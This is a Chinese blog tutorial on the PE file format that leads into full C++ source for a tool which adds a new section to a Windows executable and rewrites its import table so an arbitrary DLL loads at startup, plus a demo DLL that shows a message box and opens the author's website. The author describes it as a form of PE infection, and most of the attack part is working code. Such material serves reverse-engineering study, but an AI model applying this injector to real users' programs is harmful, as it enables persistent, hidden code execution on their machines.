劫持 PE 文件:新建节表并插入指定 DLL 文件
PE格式简介
PE(Portable Executable)格式,是微软Win32环境可移植可执行文件(如exe、dll、vxd、sys和vdm等)的标准文件格式。PE格式衍生于早期建立在VAX(R)VMS(R)上的COFF(Common Object File Format)文件格式。
Portable 是指对于不同的Windows版本和不同的CPU类型上PE文件的格式是一样的,当然CPU不一样了,CPU指令的二进制编码是不一样的。只是文件中各种东西的布局是一样的。
PE文件使用的是一个平面地址空间,所有代码和数据都合并在一起,组成一个很大的结构。主要有:
下面是一个简化的PE文件格式
DOS MZ Header |
PE Header |
Section Table |
Section 1 |
Section 2 |
... |
Section n |
Dos Mz head 和Dos stub和称Dos文件头,PE文件的第一个字节起始于MS-DOS头部,被称作IMAGE_DOS_HEADER.紧随Dos stub的是PE文件头(PE Header),PE Header是PE相关结构NT映像头(IMAGE_NT_HEADERS)的简称,其中包含许多PE装载器用到的重要字段。
1、入口点 Entry Point
2、文件偏移地址 File Offset
3、虚拟地址 Virtual Address 简称:VA
4、基地址 ImageBase
5、相对虚拟地址 Relative Virual Address 简称:RVA
公式: RVA (相对虚拟地址) =VA (虚拟地址) - ImageBase (基地址)
文件偏移地址和虚拟地址转换
在X86系统中,每个内存页的大小是4KB,即0X1000个字节。
文件偏移地址 File Offset = RVA (相对虚拟地址)
文件偏移地址 File Offset = VA (虚拟地址) - ImageBase (基地址)
- PE具体结构图
pe格式的结构体定义可以在编译器的include文件夹里的winnt.h找到。
如下所示(经过简化的,具体的可以查看winnt.h,不同字长的结构,其实大体一样的)。
几个宏定义:
IMAGE_DOS_HEADER
typedef struct _IMAGE_DOS_HEADER{WORD e_magic; //魔术数字,所有MS-DOS兼容的可执行文件都将此值设为0X4D5A(MZ)WORD e_cblp; //文件最后页的字节数WORD e_cp; //文件页数WORD e_crlc; //重定义元素个数WORD e_cparhdr; //头部尺寸,以段落为单位WORD e_minalloc; //所需的最小附加段WORD e_maxalloc; //所需的最大附加段WORD e_ss; //初始的SS值(相对偏移量)WORD e_sp; //初始的SP值WORD e_csum; //校验和WORD e_ip; //初始的IP值WORD e_cs; //初始的CS值(相对偏移量)WORD e_lfarlc; //重分配表文件地址WORD e_ovno; //覆盖号WORD e_res[4]; //保留字WORD e_oemid; //OEM标识符(相对e_oeminfo)WORD e_oeminfo; //OEM信息WORD e_res2[10]; //保留字DWORD e_lfanew; //新exe头部的文件地址}IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;
IMAGE_NT_HEADERS
#define IMAGE_NUMBEROF_DIRECTORY_ENTRIES 16typedef struct IMAGE_NT_HEADERS{DWORD Signature;IMAGE_FILE_HEADER FileHeader;IMAGE_OPTIONAL_HEADER32 OptionalHeader;}IMAGE_NT_HEADERS,*PIMAGE_NT_HEADERS;typedef struct IMAGE_FILE_HEADER{WORD Machine;WORD NumberOfSections;//节的数量DWORD TimeDateStamp;DWORD PointerToSymbols;DWORD NumberOfSymbols;WORD SizeOfOptionalHeader;WORD Characteristics;}IMAGE_FILE_HEADER,*PIMAGE_FILE_HEADER;typedef struct IMAGE_OPTIONAL_HEADER32{WORD Magic;BYTE MajorLinkerVersion;BYTE MinorLinkerVersion;DWORD SizeOfCode;DWORD SizeOfInitializedData;DWORD SizeOfUnInitializedData;DWORD AddressOfEntryPoint;DWORD BaseOfCode;DWORD BaseOfData;DWORD ImgaeBase;DWORD SectionAlignment;DWORD FileAlignment;WORD MajorOperatingSystemVersion;WORD MinorOperatingsystemversion;WORD MajorImageVersion;WORD MinorImageVersion;WORD MajorSubsybtemVersion;WORD MinorSubsybtemVersion;DWORD Win32VersionValue;DWORD SizeOfImage;DWORD SizeoOfHeaders;DWORD CheckSum;WORD Subsystem;WORD DllCharacteristics;DWORD SizeOfStackReserve;DWORD SizeOfStackCommit;DWORD SizeOfHeapReserve;DWORD SizeOfHeapCommit;DWORD LoaderFlages;DWORD NumberOfRvaAndSizes;IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];}IMAGE_OPTIONAL_HEADER32,*PIMAGE_OPTIONAL_HEADER32;
IMAGE_SECTION_HEADER
PE文件头后是节表,在winnt.h下如下定义typedef struct _IMAGE_SECTION_HEADER{//IMAGE_SIZEOF_SHORT_NAME=8BYTE Name[IMAGE_SIZEOF_SHORT_NAME];//节表名称,如".text"union{DWORD PhysicalAddress;//物理地址DWORD VirtualSize;//真实长度,这两个值是一个联合结构,可以使用其中的任何一个,//一般是节的数据大小} Misc;DWORD VirtualAddress;//RVADWORD SizeOfRawData;//物理长度DWORD PointerToRawData;//节基于文件的偏移量DWORD PointerToRelocations;//重定位的偏移DWORD PointerToLinenumbers;//行号表的偏移WORD NumberOfRelocations;//重定位项数目WORD NumberOfLinenumbers;//行号表的数目DWORD Characteristics;//节属性 如可读,可写,可执行等} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;
typedef struct IMAGE_THUNK_DATA{union{DWORD ForwarderString;DWORD Function;DWORD Ordinal;DWORD AddressOfData;}u1;}IMAGE_THUNK_DATA,*PIMAGE_THUNK_DATA;typedef struct IMAGE_IMPORT_BY_NAME{WORD Hint;BYTE Name;}IMAGE_IMPORT_BY_NAME;
详细PE结构说明请查阅:
PE文件结构详解 --(完整版)https://hupengcheng.blog.csdn.net/article/details/125847139?spm=1001.2101.3001.6650.5&utm_medium=distribute.pc_relevant.none-task-blog-2~default~BlogCommendFromBaidu~Rate-5-125847139-blog-92456577.235%5Ev40%5Epc_relevant_anti_t3_base&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2~default~BlogCommendFromBaidu~Rate-5-125847139-blog-92456577.235%5Ev40%5Epc_relevant_anti_t3_base&utm_relevant_index=10
- 修改 PE 文件 IAT 注入
通过以上的简单了解后,那么我们便进入正题。
下面演示的这种方法其实是 PE 感染的一种,通过对目标程序添加一个新节并注入DLL,然后这会改变 PE 文件的大小,将原有的导入表复制到新节中,并添加自己的导入表描述符,最后将数据目录项中指向的导入表的入口指向新节。
1、在目标 PE 文件中添加一个新节并映射 PE 文件,判断是否可以加一个新节,找到节的尾部,矫正偏移,对齐 RVA 填充新节 PIMAGE_SECTION_HEADER,修改IMAGE_NT_HEADERS,将新节添加到文件尾部。
2、修改导入表:判断是否使用了绑定导入表,往新节中拷贝原导入表内容,继续构造新的导入表描述符 PIMAGE_IMPORT_DESCRIPTOR,构造IAT结构体 PIMAGE_THUNK_DATA,填充 PIMAGE_THUNK_DATA,将 PIMAGE_IMPORT_DESCRIPTOR 的 OriginalFirstThunk 和 FirstThunk 指向 PIMAGE_THUNK_DATA,name 指向 DllName,最后修改导入表的 VirtualAddress 指向新节。
IDT 结构:
IDT 的描述在 IMAGE_OPTION_HEADER 里面的 IMPORT Table,通过 size 可以确定是否有足够的空间让我们添加。
IDT 是由 IMAGE_IMPORT_DESCRIPTION (简称IID) 结构体组成的数组,数组末尾以NULL结构体结束。每个IID结构体为0x14字节所以这里IID区域为RVA。
废话不多……直接上代码。
- 现实代码
DLL:
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "stdafx.h"extern "C"
{__declspec(dllexport) int Msg();
}__declspec(dllexport) int Msg()
{system("start https://www.chwm.vip/?PEinject_v1.0");return 0;
}DWORD WINAPI Thread(LPVOID LpParameter)
{char szPath[MAX_PATH] = { 0 };char szBuf[1024] = { 0 };GetModuleFileName(NULL, szPath, MAX_PATH);sprintf(szBuf, "DLL 已注入到进程\r\n%s\r\nProcessID\r\n%d\r\n", szPath, GetCurrentProcessId());MessageBox(NULL, szBuf, "DLL Inject", MB_OK);return 0;
}BOOL APIENTRY DllMain( HMODULE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
{switch (ul_reason_for_call){case DLL_PROCESS_ATTACH:CreateThread(NULL, 0, Thread, NULL, 0, NULL);Msg();break;case DLL_THREAD_ATTACH:case DLL_THREAD_DETACH:case DLL_PROCESS_DETACH:break;}return TRUE;
}
主程序:
// PEinject.cpp : 定义控制台应用程序的入口点。
//#include "stdafx.h"
#include "PEinject.h"#ifdef _DEBUG
#define new DEBUG_NEW
#endif#define ERROR_MESSAGE(Msg) cout << Msg << endl;// 唯一的应用程序对象CWinApp theApp;using namespace std;BOOL AddImportTable(const string& strTargetFile, const string& strInjectDllName, const string& strFunctionName);
BOOL AddNewSection(const string& strTargetFile, ULONG ulNewSectionSize);
BOOL AddNewImportDescriptor(const string& strTargetFile, const string& strInjectDllName, const string& strFunctionName);
DWORD RVAToFOA(PIMAGE_NT_HEADERS pNtHeaders, DWORD dwRVA);
ULONG32 PEAlign(ULONG32 dwNumber, ULONG32 dwAlign);BOOL AddImportTable(const string& strTargetFile, const string& strInjectDllName, const string& strFunctionName)
{BOOL bOk = false;try{bOk = AddNewSection(strTargetFile, 256);if (!bOk){ERROR_MESSAGE("AddImportTable:AddNewSection failed.");return false;}bOk = AddNewImportDescriptor(strTargetFile, strInjectDllName, strFunctionName);if (!bOk){ERROR_MESSAGE("AddImportTable:AddNewImportDescriptor failed.");return false;}}catch (exception* e){ERROR_MESSAGE((string("AddImportTable:") + e->what()).c_str());return false;}return true;
}BOOL AddNewSection(const string& strTargetFile, ULONG ulNewSectionSize)
{BOOL bOk = true;HANDLE TargetFileHandle = nullptr;HANDLE MappingHandle = nullptr;PVOID FileData = nullptr;try{// 打开文件TargetFileHandle = CreateFileA(strTargetFile.c_str(), GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);if (TargetFileHandle == INVALID_HANDLE_VALUE){ERROR_MESSAGE(string("AddNewSection:CreateFileA error with error code:" + GetLastError()).c_str());bOk = false;goto EXIT;}ULONG ulFileSize = GetFileSize(TargetFileHandle, NULL);// 映射文件MappingHandle = CreateFileMappingA(TargetFileHandle, NULL, PAGE_READWRITE, 0, ulFileSize, NULL);if (MappingHandle == NULL){ERROR_MESSAGE(string("AddNewSection:CreateFileMapping error with error code:" + GetLastError()).c_str());bOk = false;goto EXIT;}// 得到缓存头FileData = MapViewOfFile(MappingHandle, FILE_MAP_ALL_ACCESS, 0, 0, ulFileSize);if (FileData == NULL){ERROR_MESSAGE(string("AddNewSection:MapViewOfFile error with error code:" + GetLastError()).c_str());bOk = false;goto EXIT;}// 判断是否是PE文件if (((PIMAGE_DOS_HEADER)FileData)->e_magic != IMAGE_DOS_SIGNATURE){ERROR_MESSAGE("AddNewSection:Target File is not a vaild file");bOk = false;goto EXIT;}PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((ULONG_PTR)FileData + ((PIMAGE_DOS_HEADER)FileData)->e_lfanew);if (pNtHeaders->Signature != IMAGE_NT_SIGNATURE){ERROR_MESSAGE("AddNewSection:Target File is not a vaild file");bOk = false;goto EXIT;}// 判断是否可以增加一个新节if ((pNtHeaders->FileHeader.NumberOfSections + 1) * sizeof(IMAGE_SECTION_HEADER) > pNtHeaders->OptionalHeader.SizeOfHeaders/*三个部分的总大小*/){ERROR_MESSAGE("AddNewSection:There is not enough space to add a new section.");bOk = false;goto EXIT;}// 得到新节的起始地址, 最后的起始地址PIMAGE_SECTION_HEADER pNewSectionHeader = (PIMAGE_SECTION_HEADER)(pNtHeaders + 1) + pNtHeaders->FileHeader.NumberOfSections;PIMAGE_SECTION_HEADER pLastSectionHeader = pNewSectionHeader - 1;// 对齐RVA和偏移DWORD FileSize = PEAlign(ulNewSectionSize, pNtHeaders->OptionalHeader.FileAlignment);DWORD FileOffset = PEAlign(pLastSectionHeader->PointerToRawData + pLastSectionHeader->SizeOfRawData, pNtHeaders->OptionalHeader.FileAlignment);DWORD VirtualSize = PEAlign(ulNewSectionSize, pNtHeaders->OptionalHeader.SectionAlignment);DWORD VirtualOffset = PEAlign(pLastSectionHeader->VirtualAddress + pLastSectionHeader->Misc.VirtualSize, pNtHeaders->OptionalHeader.SectionAlignment);// 填充新节表memcpy(pNewSectionHeader->Name, "00cfg", strlen("00cfg"));pNewSectionHeader->VirtualAddress = VirtualOffset;pNewSectionHeader->Misc.VirtualSize = VirtualSize;pNewSectionHeader->PointerToRawData = FileOffset;pNewSectionHeader->SizeOfRawData = FileSize;pNewSectionHeader->Characteristics = IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE;// 修改IMAGE_NT_HEADERSpNtHeaders->FileHeader.NumberOfSections++;pNtHeaders->OptionalHeader.SizeOfImage += VirtualSize;pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].Size = 0; // 关闭绑定导入pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].VirtualAddress = 0;// 添加新节到文件尾部SetFilePointer(TargetFileHandle, 0, 0, FILE_END);PCHAR pNewSectionContent = new CHAR[FileSize];RtlZeroMemory(pNewSectionContent, FileSize);DWORD dwWrittenLength = 0;bOk = WriteFile(TargetFileHandle, pNewSectionContent, FileSize, &dwWrittenLength, nullptr);if (bOk == false){ERROR_MESSAGE(string("AddNewSection:WriteFile error with error code:" + GetLastError()).c_str());bOk = false;goto EXIT;}}catch (exception* e){ERROR_MESSAGE((string("AddNewSection:") + e->what()).c_str());bOk = false;}
EXIT:if (TargetFileHandle != NULL){CloseHandle(TargetFileHandle);TargetFileHandle = nullptr;}if (FileData != NULL){UnmapViewOfFile(FileData);FileData = nullptr;}if (MappingHandle != NULL){CloseHandle(MappingHandle);MappingHandle = nullptr;}return bOk;
}ULONG32 PEAlign(ULONG32 dwNumber, ULONG32 dwAlign)
{return(((dwNumber + dwAlign - 1) / dwAlign) * dwAlign); // 想 dwAlign 对齐,加上 dwAlign - 1,这样就可以保证对齐后的值 >= dwNumber
}BOOL AddNewImportDescriptor(const string& strTargetFile, const string& strInjectDllName, const string& strFunctionName)
{bool bOk = true;HANDLE TargetFileHandle = nullptr;HANDLE MappingHandle = nullptr;PVOID FileData = nullptr;PIMAGE_IMPORT_DESCRIPTOR pImportTable = nullptr;try{// 打开文件TargetFileHandle = CreateFileA(strTargetFile.c_str(), GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);if (TargetFileHandle == INVALID_HANDLE_VALUE){ERROR_MESSAGE(string("AddNewImportDescriptor:CreateFileA error with error code:" + GetLastError()).c_str());bOk = false;goto EXIT;}ULONG ulFileSize = GetFileSize(TargetFileHandle, NULL);// 映射文件MappingHandle = CreateFileMappingA(TargetFileHandle, NULL, PAGE_READWRITE, 0, ulFileSize, NULL);if (MappingHandle == NULL){cout << "AddNewImportDescriptor:CreateFileMapping error with error code:" << std::to_string(GetLastError()).c_str();bOk = false;goto EXIT;}// 得到缓存头FileData = MapViewOfFile(MappingHandle, FILE_MAP_ALL_ACCESS, 0, 0, ulFileSize);if (FileData == NULL){ERROR_MESSAGE(string("AddNewImportDescriptor:MapViewOfFile error with error code:" + GetLastError()).c_str());bOk = false;goto EXIT;}// 判断是否是PE文件if (((PIMAGE_DOS_HEADER)FileData)->e_magic != IMAGE_DOS_SIGNATURE){ERROR_MESSAGE("AddNewImportDescriptor:Target File is not a vaild file");bOk = false;goto EXIT;}PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((ULONG_PTR)FileData + ((PIMAGE_DOS_HEADER)FileData)->e_lfanew);if (pNtHeaders->Signature != IMAGE_NT_SIGNATURE){ERROR_MESSAGE("AddNewImportDescriptor:Target File is not a vaild file");bOk = false;goto EXIT;}// 得到原导入表pImportTable = (PIMAGE_IMPORT_DESCRIPTOR)((ULONG_PTR)FileData + RVAToFOA(pNtHeaders, pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress));// 判断是否使用了绑定导入表bool bBoundImport = false;if (pImportTable->Characteristics == 0 && pImportTable->FirstThunk != 0){// 桥一为0 桥二不是0 说明使用了绑定导入表bBoundImport = true;pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].Size = 0; // 关闭绑定导入pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].VirtualAddress = 0;}// 找到自己添加的新节PIMAGE_SECTION_HEADER pNewSectionHeader = (PIMAGE_SECTION_HEADER)(pNtHeaders + 1) + pNtHeaders->FileHeader.NumberOfSections - 1;PBYTE pNewSectionData = pNewSectionHeader->PointerToRawData + (PBYTE)FileData;PBYTE pNewImportDescriptor = pNewSectionData;// 往新节中拷贝原导入表内容int i = 0;while (pImportTable->FirstThunk != 0 || pImportTable->Characteristics != 0){memcpy(pNewSectionData + i * sizeof(IMAGE_IMPORT_DESCRIPTOR), pImportTable, sizeof(IMAGE_IMPORT_DESCRIPTOR));pImportTable++;pNewImportDescriptor += sizeof(IMAGE_IMPORT_DESCRIPTOR);i++;}// 复制最后一个描述符memcpy(pNewImportDescriptor, pNewImportDescriptor - sizeof(IMAGE_IMPORT_DESCRIPTOR), sizeof(IMAGE_IMPORT_DESCRIPTOR));// 计算修正值DWORD dwDelt = pNewSectionHeader->VirtualAddress - pNewSectionHeader->PointerToRawData;// pNewImportDescriptor 当前指向要构造的新描述符 再空出一个空描述符作为导入表的结束符 所以是 2 *PIMAGE_THUNK_DATA pNewThunkData = PIMAGE_THUNK_DATA(pNewImportDescriptor + 2 * sizeof(IMAGE_IMPORT_DESCRIPTOR));PBYTE pszDllName = (PBYTE)(pNewThunkData + 2);memcpy(pszDllName, strInjectDllName.c_str(), strInjectDllName.length());// 确定 DllName 的位置pszDllName[strInjectDllName.length() + 1] = 0;// 确定 IMAGE_IMPORT_BY_NAM 的位置PIMAGE_IMPORT_BY_NAME pImportByName = (PIMAGE_IMPORT_BY_NAME)(pszDllName + strInjectDllName.length() + 1);// 初始化 IMAGE_THUNK_DATApNewThunkData->u1.Ordinal = (DWORD_PTR)pImportByName - (DWORD_PTR)FileData + /*加上修正值 - 这里应该填充在内存中的地址*/dwDelt;// 初始化 IMAGE_IMPORT_BY_NAMEpImportByName->Hint = 1;memcpy(pImportByName->Name, strFunctionName.c_str(), strFunctionName.length());pImportByName->Name[strFunctionName.length() + 1] = 0;// 初始化 PIMAGE_IMPORT_DESCRIPTORif (bBoundImport){((PIMAGE_IMPORT_DESCRIPTOR)pNewImportDescriptor)->OriginalFirstThunk = 0;}else{((PIMAGE_IMPORT_DESCRIPTOR)pNewImportDescriptor)->OriginalFirstThunk = dwDelt + (DWORD_PTR)pNewThunkData - (DWORD_PTR)FileData;}((PIMAGE_IMPORT_DESCRIPTOR)pNewImportDescriptor)->FirstThunk = dwDelt + (DWORD_PTR)pNewThunkData - (DWORD_PTR)FileData;((PIMAGE_IMPORT_DESCRIPTOR)pNewImportDescriptor)->Name = dwDelt + (DWORD_PTR)pszDllName - (DWORD_PTR)FileData;// 修改导入表入口pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress = pNewSectionHeader->VirtualAddress;pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size = (i + 1) * sizeof(IMAGE_IMPORT_DESCRIPTOR);}catch (exception* e){ERROR_MESSAGE((string("AddNewImportDescriptor:") + e->what()).c_str());bOk = false;}EXIT:{if (TargetFileHandle != NULL){CloseHandle(TargetFileHandle);TargetFileHandle = nullptr;}if (FileData != NULL){UnmapViewOfFile(FileData);FileData = nullptr;}if (MappingHandle != NULL){CloseHandle(MappingHandle);MappingHandle = nullptr;}}return bOk;
}PIMAGE_SECTION_HEADER GetOwnerSection(PIMAGE_NT_HEADERS pNTHeaders, DWORD dwRVA)
{int i;PIMAGE_SECTION_HEADER pSectionHeader = (PIMAGE_SECTION_HEADER)(pNTHeaders + 1);for (i = 0; i < pNTHeaders->FileHeader.NumberOfSections; i++){if ((dwRVA >= (pSectionHeader + i)->VirtualAddress) && (dwRVA <= ((pSectionHeader + i)->VirtualAddress + (pSectionHeader + i)->SizeOfRawData))){return ((PIMAGE_SECTION_HEADER)(pSectionHeader + i));}}return PIMAGE_SECTION_HEADER(NULL);
}DWORD RVAToFOA(PIMAGE_NT_HEADERS pNTHeaders, DWORD dwRVA)
{DWORD _offset;PIMAGE_SECTION_HEADER section;// 找到偏移所在节section = GetOwnerSection(pNTHeaders, dwRVA);if (section == NULL){return(0);}// 修正偏移_offset = dwRVA + section->PointerToRawData - section->VirtualAddress;return(_offset);
}int main(int argc, char *argv[])
{AddImportTable("Wmplayer.exe", "TestDLL.dll", "Msg");system("start https://www.chwm.vip/?PEinject_v1.0");system("pause");return 0;
}
- 效果演示:
修改前
修改后
运行效果
相关文章:

劫持 PE 文件:新建节表并插入指定 DLL 文件
PE格式简介 PE(Portable Executable)格式,是微软Win32环境可移植可执行文件(如exe、dll、vxd、sys和vdm等)的标准文件格式。PE格式衍生于早期建立在VAX(R)VMS(R)上的COFF(Common Object File Format)文件格式。 Portable 是指对于不同的Windows版本和不同的CPU类型上…...

HTTP分数排行榜
HTTP分数排行榜 介绍一、创建数据库二、创建PHP脚本三、上传下载分数四、测试 介绍 Unity中向服务器发送用户名和得分,并存入数据库,再讲数据库中的得分按照降序的方式下载到Unity中。 一、创建数据库 首先,我们要在MySQL数据库中建立一个…...

Android 实现 Slots 游戏旋转效果
文章目录 前言一、效果展示二、代码实现1.UI布局2.SlotAdapter2.SlotsActivity 总结 前言 slots游戏: Slots游戏是一种极具流行度的赌博和娱乐形式,通常被称为老虎机或水果机。它们在赌场、线上游戏平台和手机应用中广泛存在。一般这类游戏都使用Unity…...

AI产品经理 - 如何做一款软硬协同AI产品
【背景】从0做一款软硬协同的AI产品,以智能医药保温箱 1.以智能医药保温箱 2.调研定义市场方向 地点:医药、实验室 场景:长宽高/装箱/运输/实验室 3.需求挖掘 4.如何进行软硬件AI产品工作 软硬件产品设计:功能/硬件外观设计、…...

拒绝采样(算法)总结
先说说什么是拒绝采样算法:就类似于数学上的求阴影面积的方法,直接求求不出来,就用大面积 - 小面积 阴影面积的办法。 所谓拒绝 和 采样 :就像是撒豆子计个数,计算概率问题一样,大桶里面套小桶,…...

分布式数据库事务故障恢复的原理与实践
关系数据库中的事务故障恢复并不是一个新问题,自70年代关系数据库诞生之后就一直伴随着数据库技术的发展,并且在分布式数据库的场景下又遇到了一些新的问题。本文将会就事务故障恢复这个问题,分别讲述单机数据库、分布式数据库中遇到的问题和…...

Spark中的数据加载与保存
Apache Spark是一个强大的分布式计算框架,用于处理大规模数据。在Spark中,数据加载与保存是数据处理流程的关键步骤之一。本文将深入探讨Spark中数据加载与保存的基本概念和常见操作,包括加载不同数据源、保存数据到不同格式以及性能优化等方…...

2023-12-20 LeetCode每日一题(判别首字母缩略词)
2023-12-20每日一题 一、题目编号 2828. 判别首字母缩略词二、题目链接 点击跳转到题目位置 三、题目描述 给你一个字符串数组 words 和一个字符串 s ,请你判断 s 是不是 words 的 首字母缩略词 。 如果可以按顺序串联 words 中每个字符串的第一个字符形成字符…...
C# 事件(Event)
C# 事件(Event) C# 事件(Event)通过事件使用委托声明事件(Event)实例 C# 事件(Event) 事件(Event) 基本上说是一个用户操作,如按键、点击、鼠标移…...
2312d,d的sql构建器
原文 项目 该项目在我工作项目中广泛使用,它允许自动处理联接方式动态构建SQL语句. 还会自动直接按表示数据库行结构序化.它在dconf2022在线演讲中介绍了:建模一切. 刚刚添加了对sqlite的支持.该API还不稳定,但仍非常有用.这是按需构建,所以虽然有个计划外表,但满足了我的需要…...

以太网二层交换机实验
实验目的: (1)理解二层交换机的原理及工作方式; (2)利用交换机组建小型交换式局域网。 实验器材: Cisco packet 实验内容: 本实验可用一台主机去ping另一台主机,并…...

启封涂料行业ERP需求分析和方案分享
涂料制造业是一个庞大而繁荣的行业 它广泛用于建筑、汽车、电子、基础设施和消费品。涂料行业生产不同的涂料,如装饰涂料、工业涂料、汽车涂料和防护涂料。除此之外,对涂料出口的需求不断增长,这增加了增长和扩张的机会。近年来,…...

华为ensp网络设计期末测试题-复盘
网络拓扑图 地址分配表 vlan端口分配表 需求 The device is running!<Huawei>sys Enter system view, return user view with CtrlZ. [Huawei]un in en Info: Information center is disabled. [Huawei]sys S1 [S1]vlan 99 [S1-vlan99]vlan 100 [S1-vlan100]des IT [S1-…...
Dockerfile: WORKDIR vs VOLUME
WORKDIR WORKDIR指令为Dockerfile中的任何RUN、CMD、ENTRYPOINT、COPY和ADD指令设置工作目录。 如果WORKDIR不存在,它将被创建,即使它没有在任何后续Dockerfile指令中使用。 语法 : WORKDIR dirpath WORKDIR指令可以在Dockerfile中多次使用。如果提供了…...
spring ioc源码-refresh();
主要作用是刷新应用上下文 Override public void refresh() throws BeansException, IllegalStateException {synchronized (this.startupShutdownMonitor) {// 启动刷新的性能跟踪步骤StartupStep contextRefresh this.applicationStartup.start("spring.context.refre…...

使用递归实现深拷贝
文章目录 为什么要使用递归什么深拷贝具体实现基础实现处理 函数处理 Symbol处理 Set处理 Map处理 循环引用 结语-源码 为什么要使用递归什么深拷贝 我们知道在 JavaScript 中可以通过使用JSON序列化来完成深拷贝,但是这种方法存在一些缺陷,比如对于函数…...

工程(十七)——自己数据集跑R2live
博主创建了一个科研互助群Q:772356582,欢迎大家加入讨论。 r2live是比较早的算法,编译过程有很多问题,通过以下两个博客可以解决 编译R2LIVE问题&解决方法-CSDN博客 r2live process has died 问题解决了_required process …...

【python高级用法】迭代器、生成器、装饰器、闭包
迭代器 可迭代对象:可以使用for循环来遍历的,可以使用isinstance()来测试。 迭代器:同时实现了__iter__()方法和__next__()方法,可以使用isinstance()方法来测试是否是迭代器对象 from collections.abc import Iterable, Iterat…...

Nx市工业数据洞察:Flask、MySQL、Echarts的可视化之旅
Nx市工业数据洞察:Flask、MySQL、Echarts的可视化之旅 背景数据集来源技术选型功能介绍创新点总结 背景 随着工业化的不断发展,Nx市工业数据的收集和分析变得愈发重要。本博客将介绍如何利用Flask、MySQL和Echarts等技术,从统计局获取的数据…...
关于正态分布
目录 1.正态分布是什么2.正态分布有什么用途3.如何确定数据服从正态分布 本文简单介绍正态分布的基本概念和用途。 1.正态分布是什么 正态分布,也称为高斯分布,是由德国数学家卡尔弗里德里希高斯在研究测量误差时提出的。他发现许多自然现象和统计数据…...
【Java学习笔记】Arrays类
Arrays 类 1. 导入包:import java.util.Arrays 2. 常用方法一览表 方法描述Arrays.toString()返回数组的字符串形式Arrays.sort()排序(自然排序和定制排序)Arrays.binarySearch()通过二分搜索法进行查找(前提:数组是…...
重启Eureka集群中的节点,对已经注册的服务有什么影响
先看答案,如果正确地操作,重启Eureka集群中的节点,对已经注册的服务影响非常小,甚至可以做到无感知。 但如果操作不当,可能会引发短暂的服务发现问题。 下面我们从Eureka的核心工作原理来详细分析这个问题。 Eureka的…...
Linux离线(zip方式)安装docker
目录 基础信息操作系统信息docker信息 安装实例安装步骤示例 遇到的问题问题1:修改默认工作路径启动失败问题2 找不到对应组 基础信息 操作系统信息 OS版本:CentOS 7 64位 内核版本:3.10.0 相关命令: uname -rcat /etc/os-rele…...

uniapp 开发ios, xcode 提交app store connect 和 testflight内测
uniapp 中配置 配置manifest 文档:manifest.json 应用配置 | uni-app官网 hbuilderx中本地打包 下载IOS最新SDK 开发环境 | uni小程序SDK hbulderx 版本号:4.66 对应的sdk版本 4.66 两者必须一致 本地打包的资源导入到SDK 导入资源 | uni小程序SDK …...

HubSpot推出与ChatGPT的深度集成引发兴奋与担忧
上周三,HubSpot宣布已构建与ChatGPT的深度集成,这一消息在HubSpot用户和营销技术观察者中引发了极大的兴奋,但同时也存在一些关于数据安全的担忧。 许多网络声音声称,这对SaaS应用程序和人工智能而言是一场范式转变。 但向任何技…...

【Linux】自动化构建-Make/Makefile
前言 上文我们讲到了Linux中的编译器gcc/g 【Linux】编译器gcc/g及其库的详细介绍-CSDN博客 本来我们将一个对于编译来说很重要的工具:make/makfile 1.背景 在一个工程中源文件不计其数,其按类型、功能、模块分别放在若干个目录中,mak…...
在 Spring Boot 项目里,MYSQL中json类型字段使用
前言: 因为程序特殊需求导致,需要mysql数据库存储json类型数据,因此记录一下使用流程 1.java实体中新增字段 private List<User> users 2.增加mybatis-plus注解 TableField(typeHandler FastjsonTypeHandler.class) private Lis…...

水泥厂自动化升级利器:Devicenet转Modbus rtu协议转换网关
在水泥厂的生产流程中,工业自动化网关起着至关重要的作用,尤其是JH-DVN-RTU疆鸿智能Devicenet转Modbus rtu协议转换网关,为水泥厂实现高效生产与精准控制提供了有力支持。 水泥厂设备众多,其中不少设备采用Devicenet协议。Devicen…...
上位机开发过程中的设计模式体会(1):工厂方法模式、单例模式和生成器模式
简介 在我的 QT/C 开发工作中,合理运用设计模式极大地提高了代码的可维护性和可扩展性。本文将分享我在实际项目中应用的三种创造型模式:工厂方法模式、单例模式和生成器模式。 1. 工厂模式 (Factory Pattern) 应用场景 在我的 QT 项目中曾经有一个需…...
微服务通信安全:深入解析mTLS的原理与实践
🔥「炎码工坊」技术弹药已装填! 点击关注 → 解锁工业级干货【工具实测|项目避坑|源码燃烧指南】 一、引言:微服务时代的通信安全挑战 随着云原生和微服务架构的普及,服务间的通信安全成为系统设计的核心议题。传统的单体架构中&…...